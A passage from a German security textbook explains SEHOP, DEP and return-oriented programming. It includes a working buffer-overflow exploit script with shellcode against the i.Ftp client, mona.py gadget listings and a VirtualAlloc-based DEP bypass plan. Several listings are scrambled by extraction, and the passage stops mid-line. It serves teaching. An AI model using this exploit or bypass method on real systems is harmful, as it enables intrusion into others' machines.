Die Ausführung des Exploits läuft wie folgt ab: 1. Eine Exception tritt auf (nicht dargestellt). 2. Der Exception Handler X soll die Exception behandeln. 3. Die XOR POP POP RET-Sequenz setzt den Stack Pointer an die Adresse 0x0012F700. 4. Das RET-Kommando führt den bedingten Sprung 0x74 0xF7 durch. 0xF7 bedeutet hier einen negativen Sprung um 7 Bytes. 5. Die Ausführung wird im ersten NOP-Sled fortgesetzt. 6. Das Kommando JMP +8 Bytes überspringt die erste SEHStruktur und landet im zweiten NOP-Sled.
7. Am Ende des zweiten NOP-Sleds überspringt das Kommando JMP +8 Bytes die zweite SEH-Struktur. 8. Der Shellcode wird ausgeführt. Dieser Bypass ist schon recht anspruchsvoll und erfordert zudem einige erfüllte Randbedingungen, um erfolgreich ausführbar zu sein: Die absolute Adresse der SEH-Struktur am Stack ist bekannt. Das Nullbyte 0x00 ist kein Bad Character. Die Adresse des finalen Exception Handlers des Betriebssystems ist bekannt, d. h., ASLR ist nicht aktiv. Zusammengefasst ist SEHOP ein sehr guter Schutz gegen diese Form der Exploits. SEHOP muss aber, um wirkungsvoll zu schützen und nicht ausgehebelt zu werden, in Kombination mit SafeSEH, ASLR und DEP zum Einsatz kommen.
12.6 Data Execution Prevention (DEP) – Bypass mittels Return Oriented Programming Data Execution Prevention ist ein sehr wirksamer Mechanismus, der klassische Buffer Overflow Exploits verhindern soll, indem die Ausführung von Programmcode auf Stack und Heap verboten ist. Dennoch gibt es Möglichkeiten, diesen Schutz zu umgehen. In diesem Abschnitt zeigen wir Ihnen die Wirksamkeit der Data Execution Prevention anhand des i.Ftp-Exploits, der ohne diesen Schutzmechanismus problemlos unter Windows 10 läuft. Der Exploit ist mittlerweile reliable, d. h., der Schadcode kann trotz ASLR auch nach einem Reboot des Systems erfolgreich ausgeführt werden. Nach der Aktivierung von DEP wird der Exploit dann nicht mehr funktionieren. DEP kann mittels Return Oriented Programming (ROP) umgangen werden. Dabei handelt es sich um eine relativ aufwändige und anspruchsvolle Methode, bei der mittels sogenannter ROP-Gadgets, kleiner Fragmente von Programmcode, kein Code mehr am Stack ausgeführt wird. Der Stack dient hier lediglich als Steuerelement, das die einzelnen Fragmente richtig zusammenfügt. 12.6.1 DEP unter Windows
Wir verwenden hier erneut den i.Ftp Buffer Overflow Exploit aus Abschnitt 12.2.6. Der Exploit ist reliable, d. h. ein universeller Exploit, der von Windows XP bis hin zu Windows 10 ohne Anpassung lauffähig ist. Zur Ausführung des Exploits führen Sie das PythonScript 3_i.Ftp_basic_exploit.py direkt im i.FtpInstallationsverzeichnis aus. Das Script erzeugt eine neue Datei
Schedule.txt, die beim Start des Programms von einem fehlerhaften, für Buffer Overflow anfälligen Programmteil gelesen wird. Starten Sie nun den i.Ftp-Client. Der Exploit-Code wird ausgeführt, und der »Schadcode« – in diesem Fall der Windows-Taschenrechner – wird gestartet (siehe Abbildung 12.22). Auch nach einem Reboot Ihres Windows-10-Systems funktioniert der Exploit noch. Der Exploit-Code ist in Listing 12.12 zu sehen. #!/usr/bin/python
import sys,struct
# SHELLCODE #
Calc=(
"\x83\xc0\x20" #ADD EAX, 20 --> ADD EAX, 00
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
# EXPLOIT STRUCTURE #
NOPS = "\x90" * 16
RET = "\x57\x70\x04\x10" # 0x10047057 PUSH ESP; RET
buf ="A" * 260 + RET + NOPS + Calc + "C" * 500
# CREATE Schedule.xml FILE #
xml =""
xml+=""
xml+=""
xml +=""
# WRITE FILE #
f = open(".\Schedule.xml", "wb")
f.write(xml)
f.close()
Listing 12.12 Der reliable i.Ftp-Exploit-Code
Abbildung 12.22 Der Windows-Taschenrechner wird gestartet.
Im nächsten Schritt aktivieren Sie die Data Execution Prevention auf Ihrem Windows-10-System. Führen Sie dazu als Administrator das folgende Kommando auf der Eingabeaufforderung aus: C:\> bcdedit /set nx AlwaysOn
Das Ergebnis sehen Sie in Abbildung 12.23: nx steht nun nicht mehr auf der Option OptIn, sondern ist eingeschaltet. In der Standardeinstellung OptIn ist DEP nur für Betriebssystemprozesse aktiv. Durch Setzen von AlwaysOn gilt der Schutz nun für alle Prozesse des Systems. Sie können DEP auch in der Systemsteuerung unter dem sehr gut versteckten Menüpunkt System und Sicherheit • System • Erweiterte Systemeinstellungen • Erweitert • Leistung • Einstellungen • Datenausführungsverhinderung aktivieren (siehe Abbildung 12.24).
Abbildung 12.23 Aktivierung von DEP auf der Kommandozeile
Abbildung 12.24 Aktivierung von DEP in der Systemsteuerung
Zur Aktivierung der neuen Konfiguration starten Sie nun das System neu und führen nach dem Neustart den Exploit erneut aus. DEP ist aktiv, das Programm stürzt ab, und die Ausführung des Exploits ist nicht mehr möglich. Lassen Sie uns die Situation im Debugger genauer ansehen. Dazu öffnen Sie den i.Ftp-Client im Immunity Debugger und setzen im Kommando-Fenster im unteren Teil des Bildschirms einen Breakpoint an der Adresse 0x10047057 (Kommando: b 0x10047057). Mit dieser Adresse wird die Rücksprungadresse (RET) durch den Buffer Overflow überschrieben. Starten Sie nun im Debugger die Ausführung des Programms – nach kurzer Zeit wird der Breakpoint erreicht. Abbildung 12.25 bis Abbildung 12.27 zeigen die Situation im Programmcode, die Belegung der Register und den relevanten Ausschnitt am Stack. Der Stack Pointer (ESP) zeigt an den Beginn des No-Operation-Blocks (NOP – 0x90) gefolgt von den ersten Bytes des Calc-Schadcodes. Um nun in den NOP-Block zu springen, würden Sie ein JMP ESP-Kommando benötigen. Eine Sprungalternative dazu ist die Kombination der beiden Assemblerbefehle in Abbildung 12.25. PUSH ESP legt den aktuellen Wert des Stack Pointers am Stack ab, RETN führt den Programmablauf an der Stelle fort, die an die ESP zeigt – damit können Sie ein JMP ESP-Kommando ersetzen.
Abbildung 12.25 Breakpoint an der überschriebenen Rücksprungadresse
Abbildung 12.26 Belegung der CPU-Register
Abbildung 12.27 Auszug des Stacks
Wenn Sie nun mittels (F7) einen Single Step ausführen, landet der aktuelle Wert des Stack Pointers am Stack (Abbildung 12.28). Das Kommando kann trotz DEP ausgeführt werden, da es sich im Codesegment und nicht auf Stack oder Heap befindet.
Abbildung 12.28 Der aktuelle Stack Pointer wird am Stack abgelegt.
Ein weiterer Single Step führt nun das Return-Kommando aus: Es wird an die Stelle gesprungen, an die ESP gezeigt hat – in diesem Fall an die Adresse 0x0019FB58, den Beginn des NOP-Blocks am Stack. Auch das Return-Kommando funktioniert trotz DEP, weil die Ausführung immer noch im Codesegment stattfindet. Der Instruction Pointer (EIP) wurde durch die Return-Instruktion mit der Adresse des ersten NOPs geladen (0x0019FB58).
Abbildung 12.29 Die Codeausführung zu Beginn des NOP-Blocks
Wir befinden uns nun am Stack; ohne DEP wären hier die nächsten Ausführungsschritte ohne weiteres möglich. Mit DEP erhalten Sie nach einem weiteren Single Step eine Zugriffsverletzung: Access violation when executing [0019FB58]
DEP hat erfolgreich die Ausführung des Exploits verhindert. Data Execution Prevention ist mittlerweile Teil aller gängigen Betriebssysteme, allerdings kann es sein, dass Sie den Mechanismus erst aktivieren müssen. Selbst in Windows 10 ist DEP nach der Default-Installation nur auf OptIn gesetzt – der Schutz gilt hier ohne Konfigurationsänderung nur für Betriebssystemkomponenten. Erst die Umstellung auf AlwaysOn bietet Schutz für alle Anwendungen. Die gängigen Windows-Server-Varianten haben DEP per Default für alle Prozesse aktiviert. Zusammengefasst bietet DEP einen guten Schutz gegen eine große Anzahl von Exploits, die darauf beruhen, dass durch den Buffer Overflow Schadcode am Stack landet und dieser dann zur Ausführung gebracht wird.
Die Tatsache, dass ein RET-Assemblerbefehl an die Stelle im Programm springt, die zum aktuellen Zeitpunkt an der obersten Stelle am Stack liegt, bietet die Möglichkeit, trotz aktivierter Data Execution Prevention Code auszuführen, der durch Werte am Stack gesteuert wird – man nennt diese Methode Return Oriented Programming (ROP). ROP ist eine sehr anspruchsvolle Variante, die trotz Beschränkungen eine Codeausführung erlaubt und als Basis für eine Umgehung von DEP dienen wird. Im nächsten Abschnitt werden wir uns genauer mit der Funktionsweise der ROP beschäftigen. 12.6.2 Return Oriented Programming
Die Aktivierung von DEP zeigt sehr anschaulich, dass durch die Einschränkung der Codeausführung auf Stack und Heap ein wirksamer Schutz gegen eine große Anzahl von Exploits gegeben ist. Allerdings ist DEP kein Allheilmittel. Bevor Sie die Möglichkeit einer Umgehung von DEP unter bestimmten Voraussetzungen kennen lernen, werden wir in diesem Abschnitt die Grundlagen der Return-orientierten Programmierung (ROP) behandeln. Das Konzept hinter ROP ist die Zusammenstellung eines gewünschten Programmcodes aus zahlreichen Fragmenten, sogenannten Gadgets, die über einen Steuercode in der richtigen Reihenfolge zusammengestellt werden. Dabei liegen die ausführbaren Codefragmente im nicht geschützten Speicher, der Stack übernimmt hier nur die Steuerrolle. Die Ausführung eines Return-Kommandos
ROP ist eine sehr anspruchsvolle, aber auch sehr kreative und spannende Möglichkeit, Programme zu schreiben. Lesen Sie die
folgenden Seiten sehr genau durch, und versuchen Sie die einzelnen Schritte zu verstehen. ROP ist die Basis für zahlreiche Möglichkeiten, die bei Exploits ausgenutzt werden. Um die ROPMethode genau zu verstehen, betrachten Sie die Schritte, die bei der Ausführung eines Return-Kommandos ablaufen (siehe Abbildung 12.30).
Abbildung 12.30 Ausführung eines Return-Kommandos
Sie sehen im linken Teil den Programmablauf; der Instruction Pointer (EIP) zeigt auf die Adresse des nächsten auszuführenden Kommandos. Auf der rechten Seite ist der aktuelle Stack-Ausschnitt zu sehen. Der Stack Pointer (ESP) zeigt auf das oberste Element am Stack. Gelangt nun der Programmablauf zur Adresse 3 (RETAnweisung), passieren die folgenden Schritte: 1. Lese den obersten Eintrag vom Stack. 2. Kopiere diesen Wert in EIP. 3. Setze ESP auf das nächste Element am Stack. 4. Führe das Kommando aus, auf das EIP zeigt. 5. Setze EIP auf das nächste Kommando im Programmfluss.
Damit können Sie mit einem am Stack gespeicherten Wert und einer Return-Anweisung die Ausführung des Programms an einer beliebigen anderen Stelle fortsetzen lassen.
Abbildung 12.31 Neutrale ROP-Operation (ROP NOP)
In Abbildung 12.31 sehen Sie die Situation, die durch einen klassischen Buffer Overflow am Stack entsteht. Durch Auffüllen des Buffers mit Junk Data (beliebige Daten, die keine spezielle Funktion haben) wird die Return-Adresse einer Funktion überschrieben (Schritt 1); erfolgt der Rücksprung in die aufrufende Funktion, so wird EIP mit dem Wert belegt. In diesem Beispiel wird die ReturnAdresse mit der Adresse eines RET-Kommandos (Schritt 2) im Speicher überschrieben. Die Ausführung des Programms wird mit dem RET-Kommando fortgesetzt (Schritt 3). Das RET-Kommando liest, wie in Abbildung 12.30 zu sehen, die nächste auszuführende Adresse vom Stack. ESP zeigt auf die Adresse, die als Nächstes in EIP geladen wird (Schritt 4). Dabei handelt es sich wieder um die Adresse einer RET-Anweisung (Schritt 5). Wenn Sie eine derartige Struktur an Adressen am Stack ablegen und die Kette mit einem RETKommando gestartet wird, führen Sie eine Reihe von RETKommandos außerhalb des Stacks aus. Am Stack selbst werden keinerlei Kommandos ausgeführt. Die Einträge am Stack (Adressen von Return-Kommandos im Codesegment) steuern hier lediglich die Ausführung.
Ein wichtiger Punkt dabei ist die Rückgabe der Kontrolle über die Ausführung nach dem Return-Kommando zurück an den Stack, wo wieder die Adresse des nächsten auszuführenden Kommandos abgeholt wird. Die im Beispiel dargestellte Kette von Kommandos wird als ROP-Chain bezeichnet, der spezielle Aufruf von lauter RETAnweisungen nennt man ROP-NOP (No Operation), da ähnlich dem NOP-Kommando nur der Programmfluss neutral um einen Schritt weiterläuft und keinerlei Aktion ausgelöst wird. Ausführung von Codefragmenten
Um nun nicht nur neutrale Kommandos mittels ROP auszuführen, ändern Sie die Sprungadressen am Stack auf die Codeadresse am Beginn einer Reihe von Kommandos, die mit einem RET-Befehl abgeschlossen sind. Diese Folge von Kommandos wird als ROPGadget bezeichnet. Die Schritte 1 bis 3 in Abbildung 12.32 sind identisch mit dem Ablauf in Abbildung 12.31. Im 4. Schritt allerdings wird EIP mit der Startadresse des ersten ROP-Gadgets geladen.
Abbildung 12.32 Ausführung von ROP-Gadgets
Die Ausführung startet mit dem ersten Kommando, CMD 1, dann weiter zu CMD 2 und CMD 3. Die Ausführung des Return-Kommandos am Ende des Gadgets (Schritt 7) gibt die Kontrolle wieder an die Adressliste am Stack zurück, wo in weiterer Folge das ROP-Gadget 2 aufgerufen wird. Damit sind Sie in der Lage, die Ausführung von beliebigen, kleinen Codefragmenten außerhalb des Stacks zu initiieren. Der Ablauf funktioniert allerding nur, wenn während der Ausführung eines ROP-Gadgets der ESP selbst nicht verändert wird, da dadurch die sequenzielle Abfolge der Steuerliste nicht mehr gegeben ist. Eine Veränderung ist zum Beispiel durch StackOperationen (PUSH, POP) innerhalb des Gadgets möglich. Wie Sie sich leicht vorstellen können, ist das Auffinden von geeigneten ROP-Gadgets im bestehenden Programmcode eine spannende Aufgabe und nicht immer einfach, wenn nicht sogar unmöglich. Wir werden später geeignete Hilfsmittel dafür vorstellen. Sie können keine eignen externen Gadgets erstellen, sondern müssen mit den vorhandenen Programmfragmenten auskommen. Wenn Sie nun sinnvollen Assemblercode mittels ROP schreiben wollen, so benötigen Sie einfache Operationen, wie zum Beispiel das Laden eines Registers mit einem bestimmten Wert. Es wird dafür selten ein fertiges Gadget im vorhandenen Programmcode geben, das ein Register genau mit dem Wert belegt, den Sie gerade benötigen. Abbildung 12.33 zeigt eine Methode, um ein Register mit einem beliebigen Wert zu laden. Dazu benötigen Sie ein Gadget in der Form POP , RET. Der Stack enthält nicht wie bisher nur die Sprungadressen der einzelnen Gadgets, sondern auch zusätzliche Daten, im Beispiel den Wert 1234.
Abbildung 12.33 Laden eines Registers mittels ROP
Die in Abbildung 12.33 dargestellte ROP-Struktur lädt den Wert 1234 in das Register EAX. Die Schritte 1 bis 4 werden analog zu den letzten Beispielen durchlaufen. Zum Zeitpunkt der Ausführung des POP EAXKommandos zeigt ESP auf die Stelle am Stack (Schritt 5), wo der Wert 1234 abgelegt ist. POP EAX lädt nun 1234 in das EAX-Register (Schritt 6) und setzt ESP entsprechend um eine Stack-Position (Schritt 7) weiter. Die Ausführung des RET-Kommandos am Ende des ROP-Gadgets 1 (Schritt 8) lässt das Programm an den Beginn des ROP-Gadgets 2 springen. Mit dieser Methode sind Sie nun in der Lage, Register mit beliebigen, von außen gesteuerten, Werten zu laden. Der Stack wird dabei als Sprungtabelle und als Wertespeicher genutzt. Zu beachten ist hier, dass die verwendeten ROP-Gadgets selbst nicht veränderbar sind, da nur im restlichen Code vorhandene Fragmente Verwendung finden. Das macht den Einsatz von ROP oft kompliziert oder gar unmöglich, wenn keine geeigneten Gadgets gefunden werden. Bei der Suche nach ROP-Gadgets stößt man oft auf die Situation, dass Teile eines Gadgets für die gewünschte Funktion passen würden, andere wiederum durch Operationen wie PUSH oder POP den
Stack Pointer ESP verändern und somit die geordnete Abfolge stören. Auch für derartige Situationen gibt es Abhilfe. In Abbildung 12.34 ist das Beispiel eines nicht idealen ROP-Gadgets zu sehen. Auf das POP EAX-Kommando folgen zwei weitere POP-Operationen; diese verschieben den Stack Pointer um zwei Stack-Positionen.
Abbildung 12.34 Nicht ideale ROP-Gadgets
Sie können auch nicht ideale ROP-Gadgets verwenden, indem Sie die nicht gewünschten POP-Operationen im Gadget durch Füllwerte am Stack kompensieren. Die beiden POP-Kommandos lesen die in den FILLER-Positionen gespeicherten Werte in die jeweiligen Register. Verwenden Sie als FILLER idealerweise Werte, die den restlichen Ablauf nicht beeinflussen. Kritische Werte können Nullwerte oder typische Bad Characters wie 0x00, 0x0d und 0x0a sein. Es bietet sich hier ein neutrales ROP NOP an, d. h. die Adresse einer RET-Kommandos. Sie haben nun die Mechanismen der Return-orientierten Programmierung kennen gelernt. Im nächsten Abschnitt werden Sie Hilfsmittel und damit die Möglichkeiten einer Umgehung der DEP unter Windows 10 anhand des i.Ftp-Exploits erfahren.
ROP-Hilfsmittel
Die Suche nach geeigneten ROP-Gadgets kann durchaus sehr schwierig sein, bzw. es kann vorkommen, dass kein geeignetes Gadget vorhanden ist. Die manuelle Suche nach Codefragmenten ist bei kleinen Programmen möglich, bei größeren Programmteilen ist eine programmgesteuerte Unterstützung notwendig. Wir stellen in diesem Abschnitt ein sehr mächtiges Plugin (mona.py) für den Immunity Debugger vor. Auch andere Debugger bieten Unterstützung zum Entwurf für ROP-Chains. Mona ist unter https://github.com/corelan/mona zu finden. Kopieren Sie mona.py in das Verzeichnis PyCommands Ihrer Immunity-Debugger-Installation. Mit dem Befehl !list in der Kommandozeile des Debuggers sehen Sie alle installierten Plugins. Geben Sie !mona in die Kommandozeile des Debuggers ein, und es werden Ihnen alle verfügbaren Kommandos des Plugins im LogFenster angezeigt. Leiten Sie mit dem Kommando !mona config –set workingfolder c:\mona die Ausgabe des Plugins auf ein Verzeichnis Ihrer Wahl um; ansonsten erfolgt die Ausgabe gut versteckt in der AppData-Verzeichnisstruktur: C:\Users\ \AppData\Local\VirtualStore\Program Files (x86)\Immunity Inc\Immunity Debugger Neben praktischen Funktionen für die rasche Exploit-Entwicklung bietet Mona auch Unterstützung für ROP. Laden Sie dazu im Immunity Debugger die Datei i.Ftp.exe, und starten Sie die Generierung der ROP-Helper-Dateien mittels !mona rop –n –o und !mona ropfunc –n –o in der Kommandozeile des Debuggers. –n zeigt keine Module an, deren Adresse mit einem Nullbyte beginnt, und –o ignoriert Module des Betriebssystems. Die Erzeugung der Dateien kann einige Minuten dauern.
Nach der Fertigstellung liegen im Ausgabeverzeichnis die folgenden Dateien: rop.txt: Die Datei enthält eine unsortierte Liste der identifizierten ROP-Gadgets. Jedes Gadget ist mit einem RETURN-Kommando abgeschlossen. 0x1004800c 0x1002d55a 0x10038041 0x10038042 …
: : : :
# # # #
ADD AND POP POP
AL,83 EAX,1 ESI # EBX #
# RETN
# RETN
POP EBX # RETN 0x04 RETN 0x04
rop_suggestions.txt: In dieser Datei sind die ROP-Gadgets nach den einzelnen Funktionen sortiert. Damit werden Sie häufig arbeiten. [dec ebp]
0x1003aa57 # 0x1003aa4f # [pop eax]
0x10010481 # 0x1004f782 # [inc edi]
0x10054bc8 # 0x1003c64b # [move esi -> 0x1001e261 # 0x1001c603 # …
DEC EBP # RETN 0x04 DEC EBP # RETN
POP EAX # RETN POP EAX # RETN
INC EDI # RETN
INC EDI # ADD AL,5F # POP ESI # RETN 0x04 eax]
MOV EAX,ESI # POP ESI # RETN 0x04
MOV EAX,ESI # POP EDI # POP ESI # RETN
stackpivot.txt: Die Datei enthält ROP-Gadgets, um den Stack Pointer durch verschiedene Offsets neu zu positionieren. 0x10011e8a : {pivot 8 / 0x08} : # POP EBX # {pivot 8 / 0x08} : # MOV EAX,EBX # POP ESI # POP EBX # RETN
0x10076486 : {pivot 12 / 0x0c} : # POP EDI # 0x100455c2 : {pivot 15 / 0x0f} : # DEC ESP # # POP EBP # RETN 0x08
0x1001aeab : {pivot 16 / 0x10} : # POP EDI # # RETN 0x0C
…
POP EBP # RETN 0x0C
0x10019a4b :
POP ESI # POP EBX # RETN 0x04
POP EDI # POP ESI # POP EBX
POP ESI # POP EBX # POP EBP
ropfunc.txt: Hier finden Sie Aufrufe von interessanten, aus anderen Modulen importierten Funktionen. 0x10079348 0x100792b4 0x100795e4 0x10079208 …
: : : :
msvcrt!strncpy | 0x767c9810
msvcrt!strcpy | 0x767c6400
comdlg32!getopenfilenamea | 0x75fbb9a0
kernel32!getlasterror | 0x743e4d40
ropfunc_offset.txt: Die Datei enthält Offsets von importierten Funktionsaufrufen zu interessanten, für den Bypass von DEP benötigten Funktionen. Im aktuellen Beispiel des i.Ftp-Clients ist diese Datei leider leer, Sie müssen diesen Schritt dann manuell durchführen. rop_chains.txt: Unter Idealbedingungen finden Sie hier eine fertige ROP-Chain zur Deaktivierung von DEP. Sie sehen allerdings schon in der ersten Zeile, dass ein benötigter API Pointer nicht automatisch ermittelt werden konnte. rop_gadgets = [
0x00000000, 0x10033287, 0x1006cc6e, 0x10056462, …
# # # #
[-] Unable to find API pointer -> eax
MOV EAX,DWORD PTR DS:[EAX] # RETN
PUSH EAX # POP ESI # RETN
POP EBP # RETN
Mit den gezeigten Hilfsmitteln werden Sie im folgenden Abschnitt eine Möglichkeit kennen lernen, den DEP-Schutzmechanismus zu deaktivieren und damit unwirksam zu machen. Umgehung von DEP
Die Data Execution Prevention kann mittels Return-orientierter Programmierung umgangen werden. Allerdings ist die Portierung eines Shellcodes auf eine Abfolge von ROP-Gadgets ein schwieriges Unterfangen und kann kaum automatisiert werden. Stellen Sie sich also auf großen Aufwand und viel Handarbeit ein.
Sie werden in diesem Abschnitt eine andere Möglichkeit kennen lernen, bei der DEP zur Laufzeit des Programms für einen bestimmten Speicherbereich deaktiviert wird. Dazu stehen unter Windows Funktionen wie VirtualAlloc() oder VirtualProtect() zur Verfügung. Die folgende Vorgehensweise ist geplant: 1. Platzierung des Shellcodes am Stack 2. Deaktivierung der DEP am Stack über VirtualAlloc() mittels ROP 3. Aufruf und Ausführung des Shellcodes Sie sehen in Abbildung 12.35 die Struktur des geplanten Exploits, der im ersten Schritt DEP deaktiviert und dann den nachgelagerten Shellcode ausführt.
Abbildung 12.35 Exploit-Struktur mit Umgehung von DEP
Laut Microsoft-Dokumentation im MSDN bietet VirtualAlloc() folgende Funktionalität: Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Die vollständige Dokumentation finden Sie unter https://docs.microsoft.com/dede/windows/desktop/api/memoryapi/nf-memoryapi-virtualprotect.
VirtualAlloc und VirtualProtect Mit Hilfe von VirtualAlloc() und VirtualProtect() kann zur Laufzeit der Ausführungsschutz für einen Speicherbereich deaktiviert werden. Die Funktionen bieten unter Windows die Grundlage für die Umgehung von DEP.
Die Funktion VirtualAlloc() besitzt vier Parameter, die Sie mit den darauf folgenden Werten aufrufen müssen: LPVOID WINAPI VirtualAlloc(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
lpAddress: Startadresse des Bereichs, der modifiziert wird
dwSize: 1
flAllocationType: 0x1000 (MEM_COMMIT)
flProtect: 0x40 (Execute R/W)
Die Funktion erwartet beim Aufruf, dass ihre Argumente in der richtigen Reihenfolge am Stack abgelegt sind. In welcher Reihenfolge die Argumente am Stack liegen, definiert die Calling Convention. In der von vielen C- und C++-Compilern verwendeten cdecl-Aufrufkonvention werden die Parameter in umgekehrter Reihenfolge, wie sie beim Funktionsaufruf definiert sind, am Stack abgelegt. Sie können dazu zuerst die Register EAX, ECX, EDX, EBX, ESP, EBP, ESI und EDI mit den entsprechenden Werten belegen und dann mit dem Kommando PUSHAD auf einmal in der korrekten Reihenfolge am Stack ablegen. PUSHAD dient zur Sicherung des aktuellen Registerinhalts am Stack, mit POPAD können die Register wieder mit einem Kommando mit Werten am Stack befüllt werden. Der finale Aufruf der Funktion wird wieder mit einer RETInstruktion ausgelöst; damit muss ESP auf ein Stack-Element mit der gespeicherten Adresse von VirtualAlloc() zeigen.
Vor dem Aufruf von PUSHAD müssen Sie die Register mit den folgenden Werten belegen: EAX: 4x NOP ECX: 0x40 EDX: 0x1000 EBX: 1 ESP: Start des Shellcodes EBP: Adresse eines JMP ESP-Kommandos ESI: Adresse von VirtualAlloc() EDI: Adresse eines RET-Kommandos
Genauere Informationen zu den Calling Conventions finden Sie in Kapitel 5, »Reverse Engineering«. Auf den ersten Blick sieht die Vorgehensweise einfach aus. Sie werden im folgenden Abschnitt aber sehen, dass dies durchaus kompliziert und fordernd sein kann. Eine Problematik im Zusammenhang mit ROP-Gadgets ist, dass ein Registerwert, der durch ein Gadget bereits korrekt initialisiert wurde, durch ein anderes Gadget nicht zerstört werden darf. Das bedeutet, sobald Sie ein Register gesetzt haben, ist dieses für alle nachfolgenden ROP-Gadgets nicht mehr verwendbar. Das folgende Beispiel zeigt die Situation: Gadget 1: POP EAX, RET # EAX enthält z. B. 0x90909090
Gadget 2: INC EDI, POP EAX, RET
Das Gadget 2 zur Manipulation von EDI zerstört den zuvor durch Gadget 1 gespeicherten Wert in EAX. Die Folge davon ist, dass auch
die Reihenfolge, wie Sie die einzelnen Register befüllen werden, über den Erfolg oder den Misserfolg entscheiden kann. Auch verringert sich die Anzahl der zur Verfügung stehenden Register von Schritt zu Schritt. Erstellen der ROP-Chain
Beginnen Sie mit der Initialisierung von ESI mit der Adresse von VirtualAlloc(). Die Funktion ist Teil der DLL kernel32.dll und kann aufgrund von ASLR nicht statisch ermittelt werden; bei jedem Neustart ändert sich die Adresse. Die ROP-Helper-Datei ropfunc.txt enthält leider keinen Aufruf von VirtualAlloc() als importierte DLL-Funktion. Sie können sich aber den Umstand zu Nutze machen, dass die DLL kernel32.dll durch ASLR zwar immer an einer anderen Stelle in den Speicher geladen wird, aber der Abstand (Offset) zwischen den einzelnen DLL-Funktionen konstant bleibt. Das bedeutet, wenn Sie die absolute Adresse einer beliebigen Funktion aus kernel32.dll und den Abstand zur Funktion VirtualAlloc() kennen, dann sind Sie in der Lage, die absolute Adresse der Funktion daraus zu berechnen. Rufen Sie im Immunity Debugger unter dem Menüpunkt View • Executive Modules bzw. (Alt) + (E) die Liste der geladenen DLLs auf, um alle Programmteile zu sehen (siehe Abbildung 12.36). Die ersten beiden Einträge sind das Programm selbst (i.Ftp.exe) und eine mitgelieferte Programmbibliothek (Lgi.dll). Interessant für die weitere Betrachtung ist Lgi.dll, da das Modul ohne ASLR kompiliert wurde und der Adressbereich ohne führende Nullbytes beginnt. i.Ftp.exe wurde ebenfalls ohne ASLR kompiliert, die Verwendung ist allerdings aufgrund der führenden Null in der Adresse (0x00400000) nur bedingt möglich.
Abbildung 12.36 Geladene Module des i.Ftp-Clients
Markieren Sie nun Lgi.dll, und rufen Sie mit (Strg) + (N) die Liste der in die DLL importierten und von der DLL exportierten Funktionen auf. An der Adresse 0x10079180 wird beispielsweise die Funktion SizeofResource() aus der Systembibliothek kernel32.dll importiert. Importieren bedeutet in diesem Zusammenhang, dass eine Funktion aus einer DLL (hier kernel32.dll) unter einer bestimmten Adresse in einer anderen DLL (hier Lgi.dll) im lokalen Adressbereich der DLL gemappt ist. Sie können damit zur Laufzeit die aktuelle Adresse der Funktion in der durch ASLR an eine »zufällige« Basisadresse geladenen DLL ermitteln.
Abbildung 12.37 Importierte Funktionen in Lgi.dll
Betrachten Sie nun mit der gleichen Vorgehensweise die exportierten Funktionen der Systembibliothek kernel32.dll (Abbildung 12.38). Dort finden Sie an der Adresse 0x77AB66A0 die
Funktion VirtualAlloc(). Die Adresse wird bei Ihnen durch ASLR natürlich anders aussehen; zumindest werden die letzten 2 Bytes identisch sein (0x****66A0). Sie finden ebenso die Funktion SizeofResource() an der Adresse 0x77AB6470.
Abbildung 12.38 Exportierte Funktionen in kernel32.dll
Sie können nun die Differenz zwischen den beiden Funktionen berechnen: 0x77AB66A0 – 0x77AB6470 = 0x230
Diese Berechnung ist natürlich unabhängig von der durch ASLR vergebenen Basisadresse. Damit haben Sie nun alle notwendigen Daten gesammelt, um das erste Register (ESI) mit der aktuellen Adresse von VirtualAlloc() zu laden. Im folgenden Pseudocode sehen Sie die dafür notwendigen Schritte: 1. Lade 0x230 in ein Register (Offset). 2. Lade 0x10079180 in ein Register (SizeofRessource() in Lgi.dll).
3. Lade *0x10079180 in ein Register (SizeofRessource() in kernel32.dll). 4. Addiere 0x230 zu dieser Adresse (VirtualAlloc() in kernel32.dll). 5. Speichere das Ergebnis in ESI ab (Adresse von VirtualAlloc()). Der Schritt 3 (lade *0x10079180 in ein Register) bedeutet hier, dass es sich um eine De-Referenzierung des Zeigers 0x10079180 handelt. In Pseudo-Assemblercode sehen die Schritte so aus: 1. MOV
REG1, 0x230
2. MOV
REG2, 0x10079180
3. MOV
REG3, DWORD PTR DS:[REG2]
4. ADD
REG3, REG1
5. MOV
ESI, REG3
Aufgrund der Little-Endian-Struktur müssen Sie alle Adressen in Reverse Byte Order schreiben, d. h., zum Beispiel die Adresse 0x10079180 muss in der Form 0x80 0x91 0x07 0x10 im Exploit-Code eingefügt werden. Sie können sich in weiterer Folge diese lästige und auch fehleranfällige Arbeit durch Verwendung der PythonMethode struct.pack ersparen. Damit können Sie die Adressen direkt eintragen. rop+=struct.pack('